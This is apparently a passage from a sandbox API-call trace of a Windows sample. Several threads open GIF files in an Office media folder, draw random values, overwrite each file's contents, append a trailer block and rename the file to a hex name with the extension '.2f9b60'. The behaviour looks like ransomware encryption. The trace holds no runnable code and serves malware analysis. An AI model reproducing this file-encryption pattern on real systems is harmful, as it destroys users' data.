0x54fcbc5a [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x544f94c6 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x7e0d015b [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x44c02706 [0231.827] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x57242ded [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x4c7295cd [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x5cc210c5 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x7bb3603 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x79837d82 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x588f926e [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x74ab241c [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x58db5fc4 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x671760bf [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x2f40a054 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x66b48e5d [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x5acceeda [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0xa396dd7 [0231.828] RtlRandomEx (in: Seed=0x2fe5f890 | out: Seed=0x2fe5f890) returned 0x362f0940 [0231.835] ReadFile (in: hFile=0x3350, lpBuffer=0x429752c0, nNumberOfBytesToRead=0x25b, lpNumberOfBytesRead=0x2fe5f890, lpOverlapped=0x0 | out: lpBuffer=0x429752c0*, lpNumberOfBytesRead=0x2fe5f890*=0x25b, lpOverlapped=0x0) returned 1 [0231.835] SetFilePointerEx (in: hFile=0x3350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.835] WriteFile (in: hFile=0x3350, lpBuffer=0x429409e0*, nNumberOfBytesToWrite=0x25b, lpNumberOfBytesWritten=0x2fe5f894, lpOverlapped=0x0 | out: lpBuffer=0x429409e0*, lpNumberOfBytesWritten=0x2fe5f894*=0x25b, lpOverlapped=0x0) returned 1 [0234.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f35b0 [0234.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3700 [0234.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3700) returned 1 [0234.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429409e0) returned 1 [0234.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429752c0) returned 1 [0234.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0234.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058150) returned 1 [0234.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3700 [0234.778] SetFilePointerEx (in: hFile=0x3350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.778] WriteFile (in: hFile=0x3350, lpBuffer=0x431e15c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fe5f9b0, lpOverlapped=0x0 | out: lpBuffer=0x431e15c0*, lpNumberOfBytesWritten=0x2fe5f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0236.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0236.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266000) returned 1 [0236.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0236.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265f70 [0236.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265f70) returned 1 [0236.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.489] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.489] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="a2") returned 2 [0236.489] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.489] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.489] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="19") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="25") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="84") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="a0") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="c0") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="a3") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="56") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="78") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="41") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="28") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="07") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="52") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="91") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.490] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="71") returned 2 [0236.490] RtlInitAnsiString (in: DestinationString=0x2fe5fa28, SourceString="3da2fdf6192584a0c0a356784def412807529ef5912d9e71" | out: DestinationString="3da2fdf6192584a0c0a356784def412807529ef5912d9e71") [0236.490] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fe5f9f8, SourceString="3da2fdf6192584a0c0a356784def412807529ef5912d9e71", AllocateDestinationString=1 | out: DestinationString="3da2fdf6192584a0c0a356784def412807529ef5912d9e71") returned 0x0 [0236.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f670 [0236.491] wcscat (in: _Dest=0x431caea0, _Source="3da2fdf61925" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925" [0236.491] wcscat (in: _Dest=0x431caea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925.2f9b60" [0236.491] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925.2f9b60", NtPathName=0x2fe5f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\3da2fdf61925.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3860 Thread: id = 3873 os_tid = 0x1618 [0229.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif")) returned 0x20 [0230.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF", dwFileAttributes=0x20) returned 1 [0231.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3348 [0231.797] GetFileSizeEx (in: hFile=0x3348, lpFileSize=0x3447f680 | out: lpFileSize=0x3447f680*=471) returned 1 [0231.797] SetFilePointerEx (in: hFile=0x3348, liDistanceToMove=0x1d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.797] ReadFile (in: hFile=0x3348, lpBuffer=0x3447f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3447f648, lpOverlapped=0x0 | out: lpBuffer=0x3447f600*, lpNumberOfBytesRead=0x3447f648*=0x4, lpOverlapped=0x0) returned 1 [0231.798] SetFilePointerEx (in: hFile=0x3348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265010 [0231.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264f20 [0231.798] NtQuerySystemTime (in: CurrentTime=0x3447f540 | out: CurrentTime=0x3447f540*=132462178357858000) returned 0x0 [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x280b789f [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x427097ea [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x182c4699 [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x666163ab [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x2b8f453f [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x2a66b039 [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x1e1cd19a [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x65854caa [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x59503a4c [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0xeffff5b [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x56c1b356 [0231.798] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x6656c51c [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x385be65f [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x64dd4519 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x1c794b30 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x140556aa [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x385be65f [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x1399edef [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x792e9ea1 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x54701845 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x701ad7e5 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x72000b5b [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x9832d04 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x61f942eb [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x4693c43a [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x4de623bd [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x2eb35f32 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0xe7f751b [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x5efb6785 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0xd878a43 [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0x378e0b7a [0231.799] RtlRandomEx (in: Seed=0x3447f530 | out: Seed=0x3447f530) returned 0xa87f78c [0231.806] ReadFile (in: hFile=0x3348, lpBuffer=0x4294be10, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x3447f530, lpOverlapped=0x0 | out: lpBuffer=0x4294be10*, lpNumberOfBytesRead=0x3447f530*=0x1d7, lpOverlapped=0x0) returned 1 [0231.806] SetFilePointerEx (in: hFile=0x3348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.806] WriteFile (in: hFile=0x3348, lpBuffer=0x42948200*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x3447f534, lpOverlapped=0x0 | out: lpBuffer=0x42948200*, lpNumberOfBytesWritten=0x3447f534*=0x1d7, lpOverlapped=0x0) returned 1 [0234.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3430 [0234.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3190 [0234.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3190) returned 1 [0234.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42948200) returned 1 [0234.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4294be10) returned 1 [0234.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0234.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420581f0) returned 1 [0234.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3190 [0234.743] SetFilePointerEx (in: hFile=0x3348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.743] WriteFile (in: hFile=0x3348, lpBuffer=0x431e1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3447f650, lpOverlapped=0x0 | out: lpBuffer=0x431e1020*, lpNumberOfBytesWritten=0x3447f650*=0x10a, lpOverlapped=0x0) returned 1 [0236.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860de0 [0236.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860de0) returned 1 [0236.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860de0 [0236.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860e40 [0236.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860e40) returned 1 [0236.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.456] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="14") returned 2 [0236.456] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="58") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="15") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="a1") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="df") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="84") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="82") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="54") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="00") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="09") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="38") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="15") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="26") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="50") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="43") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="0c") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="18") returned 2 [0236.457] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="68") returned 2 [0236.457] RtlInitAnsiString (in: DestinationString=0x3447f6c8, SourceString="145815a1dfc97d84b28254000938153f6d26bf50430c1868" | out: DestinationString="145815a1dfc97d84b28254000938153f6d26bf50430c1868") [0236.457] RtlAnsiStringToUnicodeString (in: DestinationString=0x3447f698, SourceString="145815a1dfc97d84b28254000938153f6d26bf50430c1868", AllocateDestinationString=1 | out: DestinationString="145815a1dfc97d84b28254000938153f6d26bf50430c1868") returned 0x0 [0236.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309f9f0 [0236.458] wcscat (in: _Dest=0x431cafe0, _Source="145815a1dfc9" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9" [0236.458] wcscat (in: _Dest=0x431cafe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9.2f9b60" [0236.458] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9.2f9b60", NtPathName=0x3447f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\145815a1dfc9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3560 Thread: id = 3874 os_tid = 0x147c [0229.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif")) returned 0x20 [0230.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF", dwFileAttributes=0x20) returned 1 [0231.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x334c [0231.815] GetFileSizeEx (in: hFile=0x334c, lpFileSize=0x3030fbc0 | out: lpFileSize=0x3030fbc0*=284) returned 1 [0231.815] SetFilePointerEx (in: hFile=0x334c, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.815] ReadFile (in: hFile=0x334c, lpBuffer=0x3030fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3030fb88, lpOverlapped=0x0 | out: lpBuffer=0x3030fb40*, lpNumberOfBytesRead=0x3030fb88*=0x4, lpOverlapped=0x0) returned 1 [0231.816] SetFilePointerEx (in: hFile=0x334c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266690 [0231.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202664e0 [0231.817] NtQuerySystemTime (in: CurrentTime=0x3030fa80 | out: CurrentTime=0x3030fa80*=132462178358170000) returned 0x0 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x6a9d611c [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x51f1deb2 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0xbb1575d [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x2e732b72 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x2f318490 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x6efcf2a9 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x5e1574fa [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x7d6b6120 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x39448565 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x7bff334d [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0xef2bbd [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x2b5ad997 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x64dd4519 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x31e66266 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x35f41e8 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x27948d92 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x2a7d414e [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x5f00c8f2 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x1d973463 [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x59503a4c [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x1342296b [0231.817] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x789c5d85 [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x6cdb944b [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x35e09847 [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x126789cc [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x76f31d7d [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x625cc69b [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x1cf27e59 [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x45e7b3fb [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x3be6f1b9 [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x18033128 [0231.818] RtlRandomEx (in: Seed=0x3030fa70 | out: Seed=0x3030fa70) returned 0x4686ab1f [0231.824] ReadFile (in: hFile=0x334c, lpBuffer=0x4295ea60, nNumberOfBytesToRead=0x11c, lpNumberOfBytesRead=0x3030fa70, lpOverlapped=0x0 | out: lpBuffer=0x4295ea60*, lpNumberOfBytesRead=0x3030fa70*=0x11c, lpOverlapped=0x0) returned 1 [0231.824] SetFilePointerEx (in: hFile=0x334c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.824] WriteFile (in: hFile=0x334c, lpBuffer=0x429716b0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3030fa74, lpOverlapped=0x0 | out: lpBuffer=0x429716b0*, lpNumberOfBytesWritten=0x3030fa74*=0x11c, lpOverlapped=0x0) returned 1 [0234.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33d0 [0234.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3940 [0234.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3940) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429716b0) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4295ea60) returned 1 [0234.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058290) returned 1 [0234.767] 